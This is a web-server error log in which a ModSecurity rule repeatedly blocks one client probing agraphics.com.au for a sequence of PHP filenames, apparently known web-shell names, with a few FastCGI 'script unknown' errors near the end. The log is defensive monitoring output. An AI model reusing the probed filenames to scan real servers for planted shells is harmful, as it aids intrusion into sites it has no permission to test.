[Fri Apr 24 06:41:40.470168 2026] [:error] [pid 19100:tid 19115] [client 74.248.17.200:31083] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeqgJLF_hzQs4CqbifcUWQAAAAY"]
[Fri Apr 24 06:41:41.152150 2026] [:error] [pid 19100:tid 19131] [client 74.248.17.200:7122] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeqgJbF_hzQs4CqbifcUXAAAABU"]
[Fri Apr 24 06:41:42.207677 2026] [:error] [pid 19101:tid 19141] [client 74.248.17.200:22491] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeqgJmAHj9bEvrTgbO3aiAAAAEQ"]
[Fri Apr 24 06:41:43.244286 2026] [:error] [pid 19101:tid 19160] [client 74.248.17.200:14781] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeqgJ2AHj9bEvrTgbO3aiwAAAFc"]
[Fri Apr 24 06:41:43.922622 2026] [:error] [pid 52129:tid 52155] [client 74.248.17.200:12286] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeqgJ-KCZKf8_u2LKiB9RQAAARY"]
[Fri Apr 24 06:41:44.589756 2026] [:error] [pid 19100:tid 19120] [client 74.248.17.200:6815] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeqgKLF_hzQs4CqbifcUYQAAAAo"]
[Fri Apr 24 06:41:45.161513 2026] [:error] [pid 19200:tid 19225] [client 74.248.17.200:20393] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "aeqgKTQ--M3-tsKAnhGx7gAAANE"]
[Fri Apr 24 06:41:45.715327 2026] [:error] [pid 19200:tid 19224] [client 74.248.17.200:12259] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aeqgKTQ--M3-tsKAnhGx8gAAANA"]
[Fri Apr 24 06:41:46.291530 2026] [:error] [pid 19102:tid 19181] [client 74.248.17.200:6813] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aeqgKgDSgrbLEZbkqD7VUgAAAJE"]
[Fri Apr 24 06:41:46.956797 2026] [:error] [pid 19200:tid 19212] [client 74.248.17.200:25407] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aeqgKjQ--M3-tsKAnhGx9gAAAMQ"]
[Fri Apr 24 06:41:47.935496 2026] [:error] [pid 19200:tid 19223] [client 74.248.17.200:12359] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ah25.php"] [unique_id "aeqgKzQ--M3-tsKAnhGx-wAAAM8"]
[Fri Apr 24 06:41:48.610928 2026] [:error] [pid 52129:tid 52148] [client 74.248.17.200:24401] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aeqgLOKCZKf8_u2LKiB9UAAAAQ8"]
[Fri Apr 24 06:41:49.282894 2026] [:error] [pid 52129:tid 52154] [client 74.248.17.200:12889] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aeqgLeKCZKf8_u2LKiB9VAAAARU"]
[Fri Apr 24 06:41:49.907816 2026] [:error] [pid 52129:tid 52152] [client 74.248.17.200:14745] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aeqgLeKCZKf8_u2LKiB9VwAAARM"]
[Fri Apr 24 06:41:51.599823 2026] [:error] [pid 52129:tid 52150] [client 74.248.17.200:12285] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aeqgL-KCZKf8_u2LKiB9XQAAARE"]
[Fri Apr 24 06:41:52.584332 2026] [:error] [pid 19100:tid 19124] [client 74.248.17.200:20365] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axe.php"] [unique_id "aeqgMLF_hzQs4CqbifcUaAAAAA4"]
[Fri Apr 24 06:41:54.094440 2026] [:error] [pid 19101:tid 19149] [client 74.248.17.200:16160] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axe.php"] [unique_id "aeqgMmAHj9bEvrTgbO3alQAAAEw"]
[Fri Apr 24 06:41:55.072347 2026] [:error] [pid 19200:tid 19211] [client 74.248.17.200:22491] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axe.php"] [unique_id "aeqgMzQ--M3-tsKAnhGyAAAAAMM"]
[Fri Apr 24 06:41:56.829105 2026] [:error] [pid 19102:tid 19166] [client 74.248.17.200:19620] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axe.php"] [unique_id "aeqgNADSgrbLEZbkqD7VYwAAAII"]
[Fri Apr 24 06:41:58.147633 2026] [:error] [pid 19101:tid 19143] [client 74.248.17.200:6953] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index0.php"] [unique_id "aeqgNmAHj9bEvrTgbO3amQAAAEY"]
[Fri Apr 24 06:41:59.642831 2026] [:error] [pid 19100:tid 19125] [client 74.248.17.200:18883] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index0.php"] [unique_id "aeqgN7F_hzQs4CqbifcUbgAAAA8"]
[Fri Apr 24 06:42:01.779915 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:28340] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index0.php"] [unique_id "aeqgOQDSgrbLEZbkqD7VcgAAAJg"]
[Fri Apr 24 06:42:03.315676 2026] [:error] [pid 19102:tid 19167] [client 74.248.17.200:14300] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index0.php"] [unique_id "aeqgOwDSgrbLEZbkqD7VeQAAAIM"]
[Fri Apr 24 06:42:04.495196 2026] [:error] [pid 19102:tid 19177] [client 74.248.17.200:26970] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeqgPADSgrbLEZbkqD7VgAAAAI0"]
[Fri Apr 24 06:42:05.788116 2026] [:error] [pid 19200:tid 19208] [client 74.248.17.200:14282] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeqgPTQ--M3-tsKAnhGyBAAAAMA"]
[Fri Apr 24 06:42:06.710108 2026] [:error] [pid 19101:tid 19158] [client 74.248.17.200:14327] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeqgPmAHj9bEvrTgbO3amgAAAFU"]
[Fri Apr 24 06:42:07.625123 2026] [:error] [pid 19100:tid 19116] [client 74.248.17.200:42169] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeqgP7F_hzQs4CqbifcUgwAAAAc"]
[Fri Apr 24 06:42:08.414158 2026] [:error] [pid 19100:tid 19125] [client 74.248.17.200:23925] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e3.php"] [unique_id "aeqgQLF_hzQs4CqbifcUhwAAAA8"]
[Fri Apr 24 06:42:09.055342 2026] [:error] [pid 19100:tid 19110] [client 74.248.17.200:28352] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e3.php"] [unique_id "aeqgQbF_hzQs4CqbifcUiAAAAAE"]
[Fri Apr 24 06:42:09.782757 2026] [:error] [pid 52129:tid 52137] [client 74.248.17.200:42127] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e3.php"] [unique_id "aeqgQeKCZKf8_u2LKiB9ewAAAQQ"]
[Fri Apr 24 06:42:10.703092 2026] [:error] [pid 19102:tid 19177] [client 74.248.17.200:23887] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e3.php"] [unique_id "aeqgQgDSgrbLEZbkqD7VjgAAAI0"]
[Fri Apr 24 06:42:11.417974 2026] [:error] [pid 19200:tid 19214] [client 74.248.17.200:23897] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fkohd.php"] [unique_id "aeqgQzQ--M3-tsKAnhGyDQAAAMY"]
[Fri Apr 24 06:42:12.349155 2026] [:error] [pid 52129:tid 52153] [client 74.248.17.200:45875] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fkohd.php"] [unique_id "aeqgROKCZKf8_u2LKiB9hQAAARQ"]
[Fri Apr 24 06:42:13.070855 2026] [:error] [pid 52129:tid 52154] [client 74.248.17.200:42168] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fkohd.php"] [unique_id "aeqgReKCZKf8_u2LKiB9iwAAARU"]
[Fri Apr 24 06:42:14.246858 2026] [:error] [pid 19102:tid 19186] [client 74.248.17.200:23874] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fkohd.php"] [unique_id "aeqgRgDSgrbLEZbkqD7VlwAAAJY"]
[Fri Apr 24 06:42:14.888512 2026] [:error] [pid 19200:tid 19230] [client 74.248.17.200:27895] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "aeqgRjQ--M3-tsKAnhGyEQAAANY"]
[Fri Apr 24 06:42:15.587189 2026] [:error] [pid 19101:tid 19140] [client 74.248.17.200:6628] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "aeqgR2AHj9bEvrTgbO3anwAAAEM"]
[Fri Apr 24 06:42:16.418604 2026] [:error] [pid 52129:tid 52135] [client 74.248.17.200:6590] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "aeqgSOKCZKf8_u2LKiB9kwAAAQI"]
[Fri Apr 24 06:42:17.486625 2026] [:error] [pid 52129:tid 52156] [client 74.248.17.200:40207] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "aeqgSeKCZKf8_u2LKiB9mAAAARc"]
[Fri Apr 24 06:42:18.532977 2026] [:error] [pid 19102:tid 19182] [client 74.248.17.200:6642] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeqgSgDSgrbLEZbkqD7VnAAAAJI"]
[Fri Apr 24 06:42:19.718744 2026] [:error] [pid 19100:tid 19125] [client 74.248.17.200:25409] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeqgS7F_hzQs4CqbifcUjAAAAA8"]
[Fri Apr 24 06:42:20.811818 2026] [:error] [pid 19100:tid 19110] [client 74.248.17.200:39593] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeqgTLF_hzQs4CqbifcUkQAAAAE"]
[Fri Apr 24 06:42:22.184990 2026] [:error] [pid 19102:tid 19188] [client 74.248.17.200:16560] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeqgTgDSgrbLEZbkqD7VoQAAAJg"]
[Fri Apr 24 06:42:23.351052 2026] [:error] [pid 19102:tid 19178] [client 74.248.17.200:37820] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "aeqgTwDSgrbLEZbkqD7VowAAAI4"]
[Fri Apr 24 06:42:24.308853 2026] [:error] [pid 19102:tid 19184] [client 74.248.17.200:7049] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "aeqgUADSgrbLEZbkqD7VpgAAAJQ"]
[Fri Apr 24 06:42:25.280346 2026] [:error] [pid 19100:tid 19133] [client 74.248.17.200:6620] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "aeqgUbF_hzQs4CqbifcUmQAAABc"]
[Fri Apr 24 06:42:26.413742 2026] [:error] [pid 52129:tid 52157] [client 74.248.17.200:10339] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zo.php"] [unique_id "aeqgUuKCZKf8_u2LKiB9rgAAARg"]
[Fri Apr 24 06:42:27.534682 2026] [:error] [pid 19200:tid 19216] [client 74.248.17.200:37822] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeqgUzQ--M3-tsKAnhGyMwAAAMg"]
[Fri Apr 24 06:42:28.305864 2026] [:error] [pid 19102:tid 19177] [client 74.248.17.200:12838] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeqgVADSgrbLEZbkqD7VsQAAAI0"]
[Fri Apr 24 06:42:29.401269 2026] [:error] [pid 52129:tid 52135] [client 74.248.17.200:12802] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeqgVeKCZKf8_u2LKiB9vAAAAQI"]
[Fri Apr 24 06:42:30.199552 2026] [:error] [pid 19101:tid 19155] [client 74.248.17.200:12995] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xy.php"] [unique_id "aeqgVmAHj9bEvrTgbO3avwAAAFI"]
[Fri Apr 24 06:42:31.645148 2026] [:error] [pid 19100:tid 19128] [client 74.248.17.200:10488] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/masks.php"] [unique_id "aeqgV7F_hzQs4CqbifcUoQAAABI"]
[Fri Apr 24 06:42:33.798973 2026] [proxy_fcgi:error] [pid 52129:tid 52136] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:35.601771 2026] [proxy_fcgi:error] [pid 52129:tid 52153] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:35.912741 2026] [proxy_fcgi:error] [pid 52129:tid 52151] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:36.220654 2026] [proxy_fcgi:error] [pid 52129:tid 52155] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:36.754645 2026] [proxy_fcgi:error] [pid 52129:tid 52141] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:37.043704 2026] [proxy_fcgi:error] [pid 52129:tid 52135] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:37.346161 2026] [proxy_fcgi:error] [pid 52129:tid 52140] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:37.650099 2026] [proxy_fcgi:error] [pid 52129:tid 52145] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:37.939205 2026] [proxy_fcgi:error] [pid 52129:tid 52150] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:38.266279 2026] [proxy_fcgi:error] [pid 52129:tid 52147] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:39.073281 2026] [proxy_fcgi:error] [pid 52129:tid 52148] [client 74.248.17.200:10444] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 06:42:39.360519 2026] [:error] [pid 52129:tid 52144] [client 74.248.17.200:10444] [client 74.248.17.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeqgX-KCZKf8_u2LKiB90gAAAQs"]
